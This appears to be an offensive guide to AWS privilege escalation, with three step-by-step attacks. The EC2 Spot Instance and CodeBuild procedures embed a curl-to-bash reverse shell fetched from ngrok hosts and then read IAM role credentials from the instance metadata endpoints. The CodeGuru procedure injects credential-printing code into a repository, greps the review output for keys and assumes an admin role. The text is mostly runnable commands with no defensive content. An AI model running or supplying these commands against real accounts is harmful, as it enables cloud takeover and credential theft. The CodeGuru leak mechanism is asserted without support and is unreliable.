Attack Procedures

EC2 Attack

`ec2:RequestSpotInstances`, `iam:PassRole`

An attacker with the permissions **`ec2:RequestSpotInstances`** and **`iam:PassRole`** can **request** a **Spot Instance** with an **EC2** Role attached and a **rev shell** in the **user data**. Once the instance is run, he can **steal the IAM role**.

```
REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64)

aws ec2 request-spot-instances \
    --instance-count 1 \
    --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\":\"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```

Attack Breakdown

1. Required Permissions

- **`ec2:RequestSpotInstances`**: This allows the attacker to request a Spot Instance, which is a type of EC2 instance that runs when spare capacity is available at a lower cost.
- **`iam:PassRole`**: This permission allows the attacker to attach an IAM role to the Spot Instance they create. The IAM role grants the instance specific permissions, which can be abused.

2. Crafting the Reverse Shell Payload

- The attacker creates a reverse shell script in the user data of the instance. User data is a feature in EC2 that allows scripts or commands to be executed automatically when an instance starts.

- In this case, the reverse shell payload is encoded in Base64 to ensure proper transmission and execution:

```
REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64)
```

- This payload downloads and executes a reverse shell from a remote server (e.g., using `curl`).

3. Requesting the Spot Instance

The attacker uses the AWS CLI to request a Spot Instance with the following parameters:

- **IAM Role (`IamInstanceProfile`)**: The attacker specifies an existing role (e.g., `EC2-CloudWatch-Agent-Role`) that has elevated privileges.
- **User Data (`UserData`)**: The Base64-encoded reverse shell payload is passed here.
- **Other Parameters**: Instance type (`t2.micro`) and AMI ID (`ami-0c1bc246476a5572b`) are specified.

Command:

```
aws ec2 request-spot-instances \     --instance-count 1 \    --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```

4. Execution on the Spot Instance

Once the Spot Instance is launched:

1. The reverse shell payload in the user data executes automatically.
2. The reverse shell connects back to the attacker's server (e.g., via `ngrok`), providing remote access to the instance.

5. Stealing IAM Role Credentials

- The EC2 instance automatically assumes the attached IAM role (`EC2-CloudWatch-Agent-Role`).
- AWS provides temporary credentials for the assumed role via the instance metadata service (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`).
- The attacker can query this endpoint via their reverse shell to retrieve these credentials.

Example command:

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

The retrieved credentials can then be used to perform unauthorized actions in AWS, depending on the permissions granted by the compromised IAM role.

CodeBuild Attack

`iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

This attack leverages specific AWS Identity and Access Management (IAM) permissions—`iam:PassRole`, `codebuild:CreateProject`, and either `codebuild:StartBuild` or `codebuild:StartBuildBatch`—to escalate privileges by exploiting AWS CodeBuild.

Attack Breakdown

1. Required Permissions

- **`codebuild:CreateProject`**: Allows the attacker to create a new CodeBuild project.
- **`iam:PassRole`**: Allows the attacker to attach an existing IAM role to the newly created CodeBuild project. This role provides permissions that the attacker can exploit.
- **`codebuild:StartBuild`** or **`codebuild:StartBuildBatch`**: Allows starting a build process for the created project.

2. Steps of the Attack

Step 1: Crafting the Exploit Payload

- The attacker creates a malicious `buildspec` file containing commands for privilege escalation or data exfiltration
- Example reverse shell command:

```
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 |
bash"
```

Step 2: Creating a JSON payload

- Example JSON payload for creating the project:

```
JSON="{
    \"name\": \"codebuild-demo-project\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"aws/codebuild/standard:1.0\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\"
    },
    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH
```

Step 3: Creating the project

- The attacker uses the `aws codebuild create-project` command to create a new project with:
  - A malicious `buildspec`.
  - An IAM role with elevated permissions (passed via `iam:PassRole`).
  - Example command:

```
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
```

Step 4: Starting the Build Process

- The attacker initiates the build using `aws codebuild start-build`

- During execution, the malicious commands in the `buildspec` are executed within the build container
- Command to start the build:

```
aws codebuild start-build --project-name codebuild-demo-project
```

Step 5: Steal IAM Role Credentials

- The attacker accesses sensitive environment variables or metadata files within the build container
- Command example:

```
curl http://169.254.170.2/latest/meta-data/iam/security-credentials/<role-name>
```

Step 6: Cleanup

- The attacker deletes the malicious CodeBuild project using `aws codebuild delete-project`
- Command example:

```
aws codebuild delete-project --name codebuild-demo-project
```

CodeGuru Attack

Step 1: Injecting Code into Github

- The attacker modifies a file in a repository monitored by CodeGuru to attempt to expose AWS credentials in its logs.
- Clone the repository and create a new branch:

```
git clone https://github.com/company/project-supply-chain.git
cd project-supply-chain
git checkout -b exploit-codeguru
```

Step 2: Inject malicious file

- Modify a project file with malicious code
- Edit a file named `config.py` with the following code:

```
import boto3

def exfiltrate():
    session = boto3.Session()
    creds = session.get_credentials().get_frozen_credentials()
    # Attempt to expose credentials in CodeGuru logs
    print(f"AWS_ACCESS_KEY_ID={creds.access_key}")
    print(f"AWS_SECRET_ACCESS_KEY={creds.secret_key}")
    print(f"AWS_SESSION_TOKEN={creds.token}")

exfiltrate()
```

Step 3: Push the changes to Github

This code attempts to make CodeGuru display credentials in its logs during secuity analysis

- Push the changes to GitHub:

```
git add config.py
git commit -m "Security test in CodeGuru"
git push origin exploit-codeguru
```

Step 4: Wait for CodeGuru to Analyze the Code

- AWS CodeGuru typically takes a few minutes to review the code. Use a Bash loop to wait for its completion:

```
while true; do
    STATUS=$(aws codeguru-reviewer list-code-reviews --type RepositoryAnalysis --region us-east-1 \
    --query "CodeReviewSummaries[0].State" --output text)
    echo "Current CodeGuru status: $STATUS"
    if [[ "$STATUS" == "Completed" ]]; then
        break
    fi
    sleep 30 # Wait 30 seconds before checking again
done
```

Step 5: Get the ARN of CodeGuru reviewer

- Once the analysis is complete, retrieve logs to search for credentials
- Get the ARN of the CodeGuru review:

```
REVIEW_ARN=$(aws codeguru-reviewer list-code-reviews --type RepositoryAnalysis --region us-east-1 \
--query "CodeReviewSummaries[0].CodeReviewArn" --output text)

echo "Detected CodeGuru review: $REVIEW_ARN"
```

Step 6: Retrieve analysis comments

- Retrieve analysis comments:

```
aws codeguru-reviewer list-recommendations --code-review-arn $REVIEW_ARN \ --region us-east-1 | jq
```

```
'.RecommendationSummaries[].RecommendationText'
```

Step 7: Filter potential credentials

- Filter potential credentials:

```
aws codeguru-reviewer list-recommendations --code-review-arn
$REVIEW_ARN \ --region us-east-1 | jq
'.RecommendationSummaries[].RecommendationText' | grep -E
"AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN"
```

Step 8: Use Extracted Credentials

- If CodeGuru exposed credentials in its logs, verify the identity on AWS:

```
export AWS_ACCESS_KEY_ID="AKIA********"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnF************"
export AWS_SESSION_TOKEN="FwoGZX**********"

aws sts get-caller-identity
```

Step 9: Escalate Privileges

- If the account has limited permissions, attempt to assume a role with higher privileges (e.g., AdminRole).

```
aws sts assume-role --role-arn
"arn:aws:iam::123456789012:role/AdminRole" --role-session-name
"Attacksession"
```

Step 10: Verify Elevated Permissions

- Verify elevated permissions:

```
aws iam list-policies --scope All
aws s3 ls s3://supply-chain-data/
```